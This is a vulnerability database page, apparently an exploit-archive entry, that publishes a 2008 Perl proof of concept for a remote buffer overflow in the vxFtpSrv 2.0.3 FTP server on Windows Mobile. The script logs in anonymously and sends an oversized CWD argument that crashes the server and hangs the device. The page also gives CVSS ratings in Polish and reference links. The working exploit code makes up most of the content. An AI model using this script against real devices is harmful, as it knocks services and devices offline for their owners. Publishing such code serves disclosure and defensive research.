vxFtpSrv 2.0.3 CWD command Remote Buffer Overflow PoC

2008-10-07 / 2008-10-08
Credit: Julien Bedard
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


Ogólna skala CVSS: 9/10
Znaczenie: 8.5/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Pełny

#!/usr/bin/perl ######################################################## # # vxFtpSrv 2.0.3 CWD command Overflow PoC # by Julien Bedard (www.kosseclab.com) # info@kosseclab.com # # Tested on MS Windows Mobile 6.0 # (maybe other versions are vulnerable) # # vxftpsrv is the most common ftp # server for mobile devices: wm, ppc etc. # it suffer of an overflow when it recieve too long # data string by the CWD command. # # the result will be immediately close server and # the windows mobile device will really hang-up. # so it's required to reset the device to be completely # operational. # # Maybe we can exploit this issue for doing command # execution but i've not test it since i have nothing # to debug the application in real time. # # If you can help for further analysis please email me # at info@kosseclab.com # ######################################################## use Net::FTP; $wftpsrvaddr = "255.255.255.255"; $overflow = "A" x 330; $user = "anonymous"; $pass = "test@something.com"; $port = 21; $ftp = Net::FTP->new("$wftpsrvaddr", Debug => 0) || die "Cannot connect to ftp server: $@"; $ftp->login($user,$pass) || die "Cannot login ", $ftp->message; $ftp->cwd($overflow); $ftp->quit;

Referencje:

http://www.securityfocus.com/bid/31532
http://www.milw0rm.com/exploits/6651


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top